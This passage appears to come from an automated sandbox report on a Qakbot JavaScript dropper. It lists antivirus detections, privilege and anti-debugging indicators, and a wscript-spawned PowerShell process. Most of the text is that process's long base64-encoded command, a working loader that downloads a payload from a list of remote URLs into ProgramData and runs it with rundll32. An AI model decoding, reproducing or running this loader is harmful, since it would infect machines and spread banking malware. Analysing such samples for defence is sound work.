CQAZQBwAGkAbABvAGcAdQBpAHoAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMQBBAEcANABBAFoAUQBCAHQAQQBIAEEAQQBiAEEAQgB2AEEASABrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAEUAQQBHAGsAQQBaAHcAQgBwAEEASABRAEEAWQBRAEIAcwBBAEcAawBBAFkAdwBBAHUAQQBHAEUAQQBjAHcAQgB6AEEARwA4AEEAWQB3AEIAcABBAEcARQBBAGQAQQBCAGwAQQBIAE0AQQBtAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AUQBBAHkAQQBDADQAQQBNAFEAQQAxAEEARABBAEEATABnAEEAeABBAEQARQBBAE8AQQBBAHUAQQBEAEUAQQBNAFEAQQB5AEEAQQA9AD0AbQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBZAFEAQgAwAEEARwBZAEEAYgB3AEIAdgBBAEgAUQBBAFoAUQBCAGsAQQBFAFUAQQBlAEEAQgBoAEEARwA0AEEAZABBAEIAbwBBAEcAVQBBAGIAUQBCAGgAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAWQBnAEIAdgBBAEgAVQBBAGQAQQBCAHAAQQBIAEUAQQBkAFEAQgBsAEEAQQA9AD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwASQBuAHYAZQByAHQAZQBiAHIAYQBsAC4AcAByAGUAYwBvAG0AcABsAGkAYwBhAHQAaQBuAGcAVQBuAGYAYQBpAHQAaAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIAMgAxADMAOAA5ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQgBjAEEARQBrAEEAYgBnAEIAMgBBAEcAVQBBAGMAZwBCADAAQQBHAFUAQQBZAGcAQgB5AEEARwBFAEEAYgBBAEEAdQBBAEgAQQBBAGMAZwBCAGwAQQBHAE0AQQBiAHcAQgB0AEEASABBAEEAYgBBAEIAcABBAEcATQBBAFkAUQBCADAAQQBHAGsAQQBiAGcAQgBuAEEARgBVAEEAYgBnAEIAbQBBAEcARQBBAGEAUQBCADAAQQBHAGcAQQBMAEEAQgBVAEEARwBVAEEAYwB3AEIAMABBAEQAcwBBAFIAUQBCADQAQQBIAEEAQQBjAGcAQgBsAEEASABNAEEAYwB3AEIAcQBBAEgATQBBACIAOwAkAEMAbwBzAHQAbwB0AG8AbQB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBBAEEAMwBBAEMANABBAE0AUQBBADEAQQBEAFUAQQBMAGcAQQAwAEEARABFAEEATABnAEEAeABBAEQARQBBAE8AUQBBAD0AdgBuAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEcAZwBBAFoAUQBCAHkAQQBHAGsAQQBaAGcAQgBtAEEARwBVAEEAYwB3AEIAegBBAEYAQQBBAGMAZwBCAGwAQQBHAGsAQQBiAFEAQgBpAEEARwBrAEEAWQBnAEIAbABBAEcAUQBBAEwAZwBCAHAAQQBHADQAQQBjAHcAQgAwAEEARwBrAEEAZABBAEIAMQBBAEgAUQBBAFoAUQBBAD0AIgA7ACQAbgBhAGIAYgBpAG4AZwBTAHUAYgBkAHUAYwBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQB3AEEANQBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQAwAEEARABFAEEATABnAEEAeABBAEQASQBBAE0AdwBBAD0AZgBaAE0AVQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAHcAQQB1AEEARABFAEEATgBBAEEAdwBBAEMANABBAE0AUQBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABrAEEATwBRAEEAPQAiADsAYgByAGUAYQBrADsAfQBFAHgAcAByAGUAcwBzAGoAcwA7AH0AIABjAGEAdABjAGgAIAB7ACQAYQBzAHMAYQBpAGwAYQBiAGkAbABpAHQAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdQBBAEcAOABBAGIAZwBCAHQAQQBHAGsAQQBZAHcAQgB5AEEARwA4AEEAYwBBAEIAeQBBAEcAOABBAFoAdwBCAHkAQQBHAEUAQQBiAFEAQgB0AEEARwBVAEEAWgBBAEIAUQBBAEgASQBBAGIAdwBCAHUAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEIAaABBAEcAdwBBAGEAUQBCAHoAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAYwB3AEIAbABBAEEAPQA9AFUAUwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATQBnAEEAMQBBAEQAVQBBAEwAZwBBADUAQQBEAFEAQQBMAGcAQQB4AEEARABnAEEATQBBAEEAPQBVAFMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAYQBRAEIAegBBAEcAOABBAFoAdwBCADUAQQBHADQAQQBhAFEAQgB6AEEASABRAEEAYwB3AEIAQgBBAEcANABBAGIAdwBCAGsAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAWQBRAEEAdQBBAEcARQBBAGQAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAIgA7ACQAcwBsAGkAcABzAG8AbABlAHMAVAByAGkAbgBjAGgAZQByAGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAHcAQQAyAEEAQwA0AEEATQBRAEEANABBAEQASQBBAEwAZwBBAHkAQQBEAEUAQQBOAFEAQQB1AEEARABFAEEATQBBAEEAMwBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBrAEEARwBVAEEAWQB3AEIAaABBAEcAUQBBAFoAUQBCAHoAQQBHAE0AQQBaAFEAQgB1AEEASABRAEEATABnAEIAagBBAEgASQBBAFoAUQBCAGsAQQBHAGsAQQBkAEEAQgBqAEEARwBFAEEAYwBnAEIAawBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQB3AEEAdQBBAEQASQBBAE0AQQBBADIAQQBDADQAQQBNAGcAQQAwAEEARABBAEEATABnAEEAeQBBAEQAQQBBAE8AUQBBAD0AIgA7ACQAYgByAG8AbQBvAHAAcgBvAHQAZQBpAG4ATgBvAG4AbgB1AG0AZQByAGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgBpAEEARwBVAEEAZAB3AEIAcABBAEcAdwBBAFoAQQBCAGwAQQBIAEkAQQBaAFEAQgBrAEEARwB3AEEAZQBRAEIAUABBAEgAVQBBAGQAQQBCADMAQQBIAGMAQQBaAFEAQgB3AEEASABRAEEATABnAEIAbQBBAEgASQBBAGIAQQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFYAQQBHADQAQQBjAHcAQgBwAEEARwBjAEEAYgBnAEIAaABBAEcAdwBBAGIAQQBCAGwAQQBHAFEAQQBWAHcAQgBwAEEARwB3AEEAYgBBAEIAbABBAEgASQBBAEwAZwBCAG4AQQBIAEkAQQBZAFEAQgAwAEEARwBrAEEAYwB3AEEAPQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAZwBBAE4AUQBBAHUAQQBEAEUAQQBPAFEAQQA0AEEAQwA0AEEATQBnAEEAdwBBAEQARQBBAEwAZwBBAHgAQQBEAGMAQQBNAEEAQQA9AFEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABnAEEATwBRAEEAdQBBAEQAWQBBAE0AdwBBAHUAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATwBRAEEAeQBBAEEAPQA9ACIAOwB9AH0AJAB2AGEAcgBzAG8AdgBpAGEAbgBhACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABBAEEAYwBnAEIAdgBBAEgAUQBBAGIAdwBCAGoAQQBHADgAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEEAdQBBAEcAUQBBAGEAUQBCAGgAQQBHADAAQQBiAHcAQgB1AEEARwBRAEEAYwB3AEEAPQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANQBBAEQAUQBBAEwAZwBBADQAQQBEAGMAQQBMAGcAQQB4AEEARABjAEEATQBnAEEAdQBBAEQARQBBAE0AQQBBADUAQQBBAD0APQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIASgBBAEcANABBAGMAdwBCAGgAQQBHADQAQQBaAFEAQQB1AEEASABjAEEAWgBRAEIAawBBAEcAUQBBAGEAUQBCAHUAQQBHAGMAQQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAdwBBAFoAUQBCAHUAQQBHADQAQQBhAFEAQgBwAEEARwBRAEEATABnAEIAaABBAEcAMABBACIAOwA="
filepath: powershell
1 1 0
Cyren JS/Qbot.I!Eldorado
Symantec Scr.Malcode!gen53
Cynet Malicious (score: 99)
F-Secure Malware.JS/Qakbot.G
Avira JS/Qakbot.G
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
Ikarus Trojan.Script
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABhAGwAYgB1AGMAYQBQAGEAcgB0AHIAaQBkAGcAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBNAEEAWQB3AEIAaABBAEgAQQBBAGIAdwBCAHoAQQBHAFUAQQBMAGcAQgB0AEEARwA4AEEAYgBRAEEAPQBkAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQAVQBBAE4AQQBBAHUAQQBEAEUAQQBNAFEAQQB4AEEAQwA0AEEATQBRAEEANABBAEQAWQBBAEwAZwBBAHgAQQBEAE0AQQBNAGcAQQA9AGQAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABNAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAHUAQQBEAEkAQQBNAFEAQQAzAEEAQwA0AEEATgBRAEEAMABBAEEAPQA9ACIAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADIAOwAkAHMAdQBiAGwAaQBtAGEAdABlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEkAQQBNAFEAQQB1AEEARABFAEEATgB3AEEAegBBAEMANABBAE0AUQBBAHoAQQBEAFkAQQBMAGcAQQAzAEEARABrAEEAWgBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUARQBBAGIAZwBCADAAQQBHAFUAQQBaAEEAQgBoAEEASABjAEEAYgBnAEIAVQBBAEgASQBBAGEAUQBCAGoAQQBHAGcAQQBiAHcAQgB0AEEARwBFAEEAZABBAEIAdgBBAEgAVQBBAGMAdwBBAHUAQQBHADQAQQBZAFEAQgAyAEEASABrAEEAIgA7ACQAQwBoAHIAaQBzAHQAbwBsAG8AZwBpAGMAYQBsAFMAZQBtAGkAbwByAGIAaQBjAHUAbABhAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMABBAEQATQBBAEwAZwBBADEAQQBEAGcAQQBMAGcAQQAwAEEARABnAEEATABnAEEAeABBAEQAUQBBAE8AUQBBAD0AIgA7ACQAcABhAGwAZQBvAGcAZQBuAGUAcwBpAHMAUABpAHMAcwBpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAYwBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQA0AEEARABjAEEATABnAEEAeQBBAEQASQBBAE4AZwBBAHYAQQBEAEkAQQBhAHcAQgBWAEEARgBrAEEATQBRAEIARwBBAEMAOABBAFYAZwBCADEAQQBEAFUAQQBRAFEAQgBWAEEARgBZAEEAdQBYAEsAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGMAQQBMAGcAQQA1AEEARABFAEEATABnAEEANABBAEQAVQBBAEwAZwBBAHgAQQBEAEkAQQBOAEEAQQB2AEEASABBAEEAVABnAEIAWQBBAEYAawBBAEwAdwBBADQAQQBGAGMAQQBOAHcAQgB2AEEARwBZAEEAYgBBAEIAbwBBAEQASQBBAE0AZwBBAD0AdQBYAEsAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGMAQQBOAGcAQQB1AEEARABFAEEATQBnAEEAMABBAEMANABBAE0AUQBBADUAQQBEAGcAQQBMAGcAQQB5AEEARABFAEEATgBBAEEAdgBBAEgASQBBAFEAUQBCAEIAQQBFADgAQQBkAFEAQgAyAEEARABZAEEATAB3AEEANABBAEgARQBBAGQAUQBCAGsAQQBHADAAQQBNAFEAQgA0AEEARwBJAEEATwBBAEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABQAGEAcgBhAHAAcwBpAGQAYQBuACAAaQBuACAAJABwAGEAbABlAG8AZwBlAG4AZQBzAGkAcwBQAGkAcwBzAGkAbgBnACAALQBzAHAAbABpAHQAIAAiAHUAWABLAFYAIgApACAAewAkAHAAcgBlAGMAYQByAGkAYQBDAHkAbgBvAGMAbABlAHAAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE8AUQBBAHUAQQBEAEUAQQBOAHcAQQAzAEEAQwA0AEEATQBRAEEANQBBAEQAawBBAEwAZwBBADEAQQBEAEUAQQBlAFYAbQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AQQBBADAAQQBDADQAQQBNAFEAQQAwAEEARABZAEEATABnAEEAMgBBAEQAUQBBAEwAZwBBAHgAQQBEAGMAQQBOAEEAQQA9AGUAVgBtAHcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBEAEEARwA4AEEAYgBRAEIAbQBBAEcAOABBAGMAZwBCADAAQQBHAEUAQQBZAGcAQgBzAEEASABrAEEAUQBRAEIAcwBBAEgAVQBBAGIAUQBCAHUAQQBHAGsAQQBZAFEAQgAwAEEARwBVAEEATABnAEIAbABBAEcAUQBBAGQAUQBCAGoAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAPQBlAFYAbQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAYwBBAE4AQQBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBRAEEANABBAEQARQBBAEwAZwBBAHgAQQBEAFkAQQBOAHcAQQA9ACIAOwB0AHIAeQAgAHsAJABFAG4AZABvAGMAYQByAHAAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE0AUQBBADIAQQBEAEUAQQBMAGcAQQA1AEEARABnAEEATABnAEEAeABBAEQAQQBBAE0AZwBBAD0AYgBoAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE4AZwBBADAAQQBDADQAQQBNAFEAQQB6AEEARABjAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAD0AYgBoAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABBAEEAWgBRAEIAcwBBAEgAWQBBAGEAUQBCAHoAQQBHAFUAQQBjAHcAQgBNAEEARwA4AEEAYgB3AEIAdwBBAEcAZwBBAGIAdwBCAHMAQQBHAFUAQQBjAHcAQQB1AEEASABJAEEAZABRAEIAbwBBAEgASQBBAGIAaABZAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAZwBBAGEAUQBCAHMAQQBHADgAQQBjAEEAQgB6AEEARwBrAEEAYwB3AEEAdQBBAEcAUQBBAFoAUQBCAGgAQQBHAHcAQQBjAHcAQQA9ACIAOwAkAHAAYQByAGEAZABlAG4AdABpAHUAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABQAGEAcgBhAHAAcwBpAGQAYQBuACkAKQA7AGkAdwByACAAJABwAGEAcgBhAGQAZQBuAHQAaQB1AG0AIAAtAE8AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwASQBuAHYAZQByAHQAZQBiAHIAYQBsAC4AcAByAGUAYwBvAG0AcABsAGkAYwBhAHQAaQBuAGcAVQBuAGYAYQBpAHQAaAA7ACQAYgByAG8AbQBvAHAAcgBvAHQAZQBpAG4ATgBvAG4AbgB1AG0AZQByAGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBNAFEAQQB1AEEARABnAEEATwBBAEEAdQBBAEQARQBBAE0AZwBBADUAQQBDADQAQQBNAGcAQQB3AEEARABjAEEAIgA7ACQAZQBwAGkAbABvAGcAdQBpAHoAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMQBBAEcANABBAFoAUQBCAHQAQQBIAEEAQQBiAEEAQgB2AEEASABrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAEUAQQBHAGsAQQBaAHcAQgBwAEEASABRAEEAWQBRAEIAcwBBAEcAawBBAFkAdwBBAHUAQQBHAEUAQQBjAHcAQgB6AEEARwA4AEEAWQB3AEIAcABBAEcARQBBAGQAQQBCAGwAQQBIAE0AQQBtAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AUQBBAHkAQQBDADQAQQBNAFEAQQAxAEEARABBAEEATABnAEEAeABBAEQARQBBAE8AQQBBAHUAQQBEAEUAQQBNAFEAQQB5AEEAQQA9AD0AbQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBZAFEAQgAwAEEARwBZAEEAYgB3AEIAdgBBAEgAUQBBAFoAUQBCAGsAQQBFAFUAQQBlAEEAQgBoAEEARwA0AEEAZABBAEIAbwBBAEcAVQBBAGIAUQBCAGgAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAWQBnAEIAdgBBAEgAVQBBAGQAQQBCAHAAQQBIAEUAQQBkAFEAQgBsAEEAQQA9AD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwASQBuAHYAZQByAHQAZQBiAHIAYQBsAC4AcAByAGUAYwBvAG0AcABsAGkAYwBhAHQAaQBuAGcAVQBuAGYAYQBpAHQAaAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIAMgAxADMAOAA5ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQgBjAEEARQBrAEEAYgBnAEIAMgBBAEcAVQBBAGMAZwBCADAAQQBHAFUAQQBZAGcAQgB5AEEARwBFAEEAYgBBAEEAdQBBAEgAQQBBAGMAZwBCAGwAQQBHAE0AQQBiAHcAQgB0AEEASABBAEEAYgBBAEIAcABBAEcATQBBAFkAUQBCADAAQQBHAGsAQQBiAGcAQgBuAEEARgBVAEEAYgBnAEIAbQBBAEcARQBBAGEAUQBCADAAQQBHAGcAQQBMAEEAQgBVAEEARwBVAEEAYwB3AEIAMABBAEQAcwBBAFIAUQBCADQAQQBIAEEAQQBjAGcAQgBsAEEASABNAEEAYwB3AEIAcQBBAEgATQBBACIAOwAkAEMAbwBzAHQAbwB0AG8AbQB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBBAEEAMwBBAEMANABBAE0AUQBBADEAQQBEAFUAQQBMAGcAQQAwAEEARABFAEEATABnAEEAeABBAEQARQBBAE8AUQBBAD0AdgBuAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEcAZwBBAFoAUQBCAHkAQQBHAGsAQQBaAGcAQgBtAEEARwBVAEEAYwB3AEIAegBBAEYAQQBBAGMAZwBCAGwAQQBHAGsAQQBiAFEAQgBpAEEARwBrAEEAWQBnAEIAbABBAEcAUQBBAEwAZwBCAHAAQQBHADQAQQBjAHcAQgAwAEEARwBrAEEAZABBAEIAMQBBAEgAUQBBAFoAUQBBAD0AIgA7ACQAbgBhAGIAYgBpAG4AZwBTAHUAYgBkAHUAYwBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQB3AEEANQBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQAwAEEARABFAEEATABnAEEAeABBAEQASQBBAE0AdwBBAD0AZgBaAE0AVQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAHcAQQB1AEEARABFAEEATgBBAEEAdwBBAEMANABBAE0AUQBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABrAEEATwBRAEEAPQAiADsAYgByAGUAYQBrADsAfQBFAHgAcAByAGUAcwBzAGoAcwA7AH0AIABjAGEAdABjAGgAIAB7ACQAYQBzAHMAYQBpAGwAYQBiAGkAbABpAHQAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdQBBAEcAOABBAGIAZwBCAHQAQQBHAGsAQQBZAHcAQgB5AEEARwA4AEEAYwBBAEIAeQBBAEcAOABBAFoAdwBCAHkAQQBHAEUAQQBiAFEAQgB0AEEARwBVAEEAWgBBAEIAUQBBAEgASQBBAGIAdwBCAHUAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEIAaABBAEcAdwBBAGEAUQBCAHoAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAYwB3AEIAbABBAEEAPQA9AFUAUwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATQBnAEEAMQBBAEQAVQBBAEwAZwBBADUAQQBEAFEAQQBMAGcAQQB4AEEARABnAEEATQBBAEEAPQBVAFMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAYQBRAEIAegBBAEcAOABBAFoAdwBCADUAQQBHADQAQQBhAFEAQgB6AEEASABRAEEAYwB3AEIAQgBBAEcANABBAGIAdwBCAGsAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAWQBRAEEAdQBBAEcARQBBAGQAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAIgA7ACQAcwBsAGkAcABzAG8AbABlAHMAVAByAGkAbgBjAGgAZQByAGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAHcAQQAyAEEAQwA0AEEATQBRAEEANABBAEQASQBBAEwAZwBBAHkAQQBEAEUAQQBOAFEAQQB1AEEARABFAEEATQBBAEEAMwBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBrAEEARwBVAEEAWQB3AEIAaABBAEcAUQBBAFoAUQBCAHoAQQBHAE0AQQBaAFEAQgB1AEEASABRAEEATABnAEIAagBBAEgASQBBAFoAUQBCAGsAQQBHAGsAQQBkAEEAQgBqAEEARwBFAEEAYwBnAEIAawBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQB3AEEAdQBBAEQASQBBAE0AQQBBADIAQQBDADQAQQBNAGcAQQAwAEEARABBAEEATABnAEEAeQBBAEQAQQBBAE8AUQBBAD0AIgA7ACQAYgByAG8AbQBvAHAAcgBvAHQAZQBpAG4ATgBvAG4AbgB1AG0AZQByAGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgBpAEEARwBVAEEAZAB3AEIAcABBAEcAdwBBAFoAQQBCAGwAQQBIAEkAQQBaAFEAQgBrAEEARwB3AEEAZQBRAEIAUABBAEgAVQBBAGQAQQBCADMAQQBIAGMAQQBaAFEAQgB3AEEASABRAEEATABnAEIAbQBBAEgASQBBAGIAQQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFYAQQBHADQAQQBjAHcAQgBwAEEARwBjAEEAYgBnAEIAaABBAEcAdwBBAGIAQQBCAGwAQQBHAFEAQQBWAHcAQgBwAEEARwB3AEEAYgBBAEIAbABBAEgASQBBAEwAZwBCAG4AQQBIAEkAQQBZAFEAQgAwAEEARwBrAEEAYwB3AEEAPQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAZwBBAE4AUQBBAHUAQQBEAEUAQQBPAFEAQQA0AEEAQwA0AEEATQBnAEEAdwBBAEQARQBBAEwAZwBBAHgAQQBEAGMAQQBNAEEAQQA9AFEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABnAEEATwBRAEEAdQBBAEQAWQBBAE0AdwBBAHUAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATwBRAEEAeQBBAEEAPQA9ACIAOwB9AH0AJAB2AGEAcgBzAG8AdgBpAGEAbgBhACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABBAEEAYwBnAEIAdgBBAEgAUQBBAGIAdwBCAGoAQQBHADgAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEEAdQ